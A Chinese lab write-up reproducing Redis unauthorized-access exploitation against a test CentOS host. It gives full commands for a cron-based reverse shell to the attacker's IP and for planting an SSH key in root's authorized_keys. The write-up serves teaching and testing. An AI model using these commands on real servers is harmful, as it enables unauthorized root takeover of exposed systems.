redis未授权漏洞复现,仅供参考。

Redis未授权访问漏洞复现

(复现过程参考原文链接:https://blog.csdn.net/weixin_45650712/article/details/111999503)

一、Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
————————————————
版权声明:本文为CSDN博主「永不垂头」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

二、漏洞简介及危害

漏洞简介

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:
  • 1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  • 2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。
漏洞危害:

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

漏洞复现

Centos靶机地址:192.168.147.182
kali攻击机地址:192.168.147.178

  • 1、Centos安装redis
    创建安装redis的目录
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd /usr/local/redis/redis-3.2.0
make #编译安装

image
安装完成之后需要修改配置文件,配置允许可以远程访问。

vim redis.conf #修改默认配置文件bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。

image

然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis.conf拷贝到/etc/目录下。

cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/

image
启动redis服务:

redis-server /etc/redis.conf

验证是否成功启动redis服务

ps -ef | grep redis

image

  • 2、验证未授权访问。
    首先在攻击机上扫描靶机开启的端口情况
nmap -p 6379 --script redis-info 192.168.147.182 #验证Redis未授权访问漏洞
nmap -sV -O 192.168.147.182 -p 6379    #均可验证

image

  • kali连接靶机的redis
redis-cli -h 192.168.147.182 # -h指定服务器ip地址,-p可以指定对应端口

image

我这边直接连接成功。
如果报错:Could not connect to Redis at 192.168.1.103:6379:No route to host
应该是centos的防火墙还没有开启6379端口,所以无法进行访问。这里需要打开端口模拟真实环境才能正常连接。
firewall-cmd --zone=public --add-port=6379/tcp --permanent # 开放6379端口
firewall-cmd --reload # 配置立即生效。
也可以在最开始的时候关闭centos防火墙设置:systemctl stop firewalld.service
  • 1、连接成功后设置定时命令反弹shell:
set x “n* * * * * bash -i >& /dev/tcp/192.168.147.178/6666 0>&1n”
config set dir /var/spool/cron/
config set dbfilename root
save

image

在攻击机执行 nc -lvp 6666 #监听端口,等待大概1分钟就会反弹成功。

image
2、公钥密钥

  • 写ssh-keygen公钥然后使用私钥登陆

利用条件:(1)redis对外开放,且是未授权访问状态
     (2)redis服务ssh对外开放,可以通过key登入

ssh-keygen -t rsa -P ''        #攻击机kali生成密钥。
cd /root/.ssh/                 #进入 /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt    #文件名随意
cat test.txt | redis-cli -h 192.168.242.134  -x  set  crackit    #使用redis-cli -h ip命令连接靶机,将文件写入靶机
redis-cli -h 192.168.147.182	     #连接靶机ridis,下面4行命令连接后执行
config set dir /root/.ssh            #更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config get dir                       #并使用 CONFIG GET dir 命令得到redis备份的路径:
config set dbfilename "authorized_keys"      #设置上传公钥的备份文件名字为authorized_keys:
save
ssh 192.168.147.182         #crontab -l   也可以看到上一步执行的定时任务命令

image
image

posted on   水果味儿  阅读(99)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

统计

点击右上角即可分享
微信分享提示